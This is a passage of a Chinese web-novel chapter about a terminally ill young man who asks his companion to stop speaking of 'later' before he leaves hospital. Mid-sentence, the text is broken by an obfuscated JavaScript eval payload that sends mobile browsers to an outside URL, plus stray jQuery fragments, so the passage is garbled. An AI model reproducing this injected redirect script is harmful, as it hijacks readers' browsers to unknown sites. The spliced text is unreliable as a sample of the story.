第二十八章：关于“以后”的禁止话题


    绿萝在窗台上抽出了第五根新藤的时候，谢临洲终于能下床走动了。


    虽然只是从床边走到窗前，短短三步路，但他走得稳当，没喘，也没冒冷汗。苏晚扶着他，像扶着一件易碎的瓷器，小心翼翼。


    “你看，绿萝又长了。”她指着窗台。


    新的藤蔓嫩绿嫩绿的，从花盆边缘垂下来，末端卷曲着，像在试探空气。谢临洲伸手轻轻碰了碰那片卷曲的叶子，叶子颤动了一下，仿佛在回应。


    “它长得真快。”他说。


    “你也一样。”苏晚禾笑了，“医生说下周就能出院了。”


    谢临洲没接话。他看向窗外，医院的院子里那颗老槐树已经冒出了新芽，嫩黄嫩黄的，在春风里微微摇晃。


    春天真的来了。


    回到窗扇，苏晚禾给他倒水，拿药。药片五颜六色，摊在手心里像一把糖，但谁都知道不是糖。谢临洲一粒一粒吞下去。


    “出院后想做什么？”苏晚禾问，“我们继续修灯塔？”


    谢临洲沉默了一会：“灯塔......先放放吧。”


    “为什么？”


    “累了。”他简单地说。


    苏晚禾看着他苍白的侧脸，突然意识到他说的“累了”可能不是身体上的。那种累，说心里有块石头，一直压着，压得人喘不过气。


    “那我们去海边走走？”她换了个提议，“就散步，不走远。”


    “好。”


    接下来几天，苏晚禾总是有意无意地提到“以后”。


    “等夏天来了，我们去夜市把剩下的愿望清单完成。还差三个小吃没尝过呢。”


    “等绿萝再长大点，我们真把它带到灯塔去。我想好了，可以做个吊篮，挂在窗边。”


    “等你再好一点，我们在打场球。这次我一定赢你。”


    每次她说这些，谢临洲都只是点头，或者“嗯”一声，很少接话。苏晚禾起初没在意，以为他只是没精神。


    直到那天下午。


    那天阳光特别好，苏晚禾推开窗户，春风带着青草和泥土的气息涌进来。她深吸一口气，回头对谢临洲说：“等出院了，我想试着游一次泳。就五十米，慢慢游，应该可以。”


    谢临洲靠在床头，闭着眼睛，像是睡着了。


    “你听见了吗？”苏晚禾又问了一遍。


    “听见了。”


    “那你觉得我能游吗？”


    谢临洲睁开眼睛，看着她。他的眼神很平静，平静得让苏晚禾心里发慌。


    “苏晚禾。”他叫她的名字。


    “嗯？”


    “别说了。”


    “说什么？”


    “说‘以后’。”谢临洲的声音很轻，但每个字都清清楚楚，“别说等出院了怎样，等夏天了怎样，等我好一点了怎样。”


    苏晚禾愣住了。她张了张嘴，想说什么，但谢临洲打断了她。


    “我没以后了。”他说。


    这句话像一块冰，砸在春天的阳光里，砸得苏晚禾浑身发冷。


    “你怎么能这么说......”她的声音在发抖。


    “我说的是事实。”谢临洲的语气依然平静，“我的病情在恶化，你也知道。每次好转都是暂时的，很快就会变得更差。我没有夏天，没有‘再好一点’，没有......”


    他顿了顿，声音低了下去：“没有‘以后’。”


    苏晚禾站在那里，手脚冰凉。窗外的春风还在吹，吹得绿萝的叶子轻轻晃动，吹得老槐树的新芽簌簌作响。一切都是生机勃勃的样子，只有谢临洲的话，像冬天的余烬，冷得刺骨。


    “你......你不想好起来吗？”她听见自己问，声音很陌生。


    “我想。”谢临洲说，“但想和能，是两回事。”


    他转过头，看向窗外：“这一年多，我试过所有能试的治疗。化疗，靶向药，免疫治疗......每次都以为这次会有效，每次都在短暂的好转后迎来更严重的恶化。我已经......累了。”


    苏晚禾走到床边，蹲下身，仰头看着他：“可是你说过，要陪我去夜市，要带绿萝去灯塔，要看我游泳......”


    “那是愿望。”谢临洲低头看她，“愿望和承诺不一样。愿望是美好的想象，承诺是要兑现的。我兑现不了，所以不能说。”


    他说眼睛很清澈，像秋天的湖水，平静，但深不见底。


    “那你现在告诉我，”苏晚禾的声音哏咽了，“我该怎么办？我还能说什么？”


    “说现在。”谢临洲伸手，轻轻擦掉她脸上的泪，“说今天的阳光很好，说绿萝又长了新叶，说你今天给我带了什么好吃的。说这些就够了。”


    苏晚禾抓住他的手。他的手很凉，骨头硌得她手疼。


    “可是我想跟你有以后。”她哭着说，“哪怕只是想象，我也想要。”


    “想象可以。”谢临洲说，“但别当成真的。别让我......觉得我欠你一个未来。”


    这话像一把刀，捅进苏晚禾心里。她突然明白了谢临洲在怕什么，他怕他期待，怕她等待，怕她因为她无法实现的承诺而失望。


    他怕她走了，留下她一个人，守着那些永远无法实现的“以后”。


    “我不在乎。”苏晚禾用力摇头，“就算实现不了，我也想要那些想象。和你一起想象，一起计划，哪怕只是说说......我也想要。”


    谢临洲看着她，很久没说话。窗外的阳光移到了床边，照在他苍白的脸上，照得他几乎透明。


    “好。”他终于说，“那我们就说说。但你要答应我一件事。”


    “什么事？”


    “如果有一天，那些‘以后’真的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952489|192799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    实现不了了，你不能难过太久。”谢临洲说，“你要继续过你的生活，继续游泳，继续笑，继续......有新的‘以后’。”


    苏晚禾的眼泪又涌了出来。她用力点头，却说不出话。


    “能做到吗？”谢临洲问。


    “能。”她哑着声音说，“我能。”


    “那拉钩。”


    他们像小孩子一样拉钩。手指勾在一起，谢临洲的手指冰凉，苏晚禾的手指温暖。这短暂的触碰，像是一个契约，一个关于接受和放手的契约。


    从那以后，“以后”成了他们之间的一个微妙话题。苏晚禾还是会说，但会加上“也许”“可能”“如果”。谢临洲也渐渐回应，但会加上“希望”“但愿”“尽量”。


    “如果夏天我肩膀完全好了，也许我们可能去海边游泳。”苏晚禾说。


    “但愿那时候我还游得动。”谢临洲回应。


    “等你出院了，我们尽量再去一次灯塔。”


    “希望那时候我还有力气爬楼梯。”


    他们像是在玩一个游戏，用不确定的词语搭建一个脆弱的未来。那个未来摇摇欲坠，像肥皂泡，美丽但易碎。


    但至少，他们还有想象的权利。


    绿萝观察日记还在继续。谢临洲出院前一天，在日记本上写了最后一句：


    “第二十天：我要出院了。绿萝长出了第七根藤蔓，叶子深绿，新叶嫩绿。它会被带回灯塔，和我们一起看星星。这是我能确定的‘以后’，虽然很小，但很真实。”


    他画了一副画：灯塔的窗户，里面有一盆绿萝，窗外是星空。


    苏晚禾在旁边加了一句：“这也是我能确定的‘以后’：我会一直陪着绿萝，也陪着你。直到最后。”


    写完这句话，她抬头看谢临洲。谢临洲也看着她，眼睛里有什么东西在闪动。


    “谢谢。”他说。


    “不客气。”苏晚禾合上日记本，“我们说好的，不说谢。”


    “好，不说。”


    出院那天，阳光灿烂。苏晚禾抱着绿萝，谢临洲拧着小小的行李包，慢慢走出医院。春风佛面，带着海的味道。


    “回家？”苏晚禾问。


    “嗯，回家。”


    他们并肩走在春天的街道上。路边的树都绿了，花也开了。一切都欣欣向荣，充满希望。


    苏晚禾看了眼手里的绿萝，又看了眼身边的谢临洲。


    绿萝在生长。


    谢临洲在呼吸。


    而她，在陪着。


    这就够了。


    至于“以后”......


    以后的事，以后再说。


    现在，他们还有春天。


    还有彼此。


    还有这盆倔强生长的绿萝。


    阳光照在身上，暖暖的。


    像希望。


    很小，但很真实。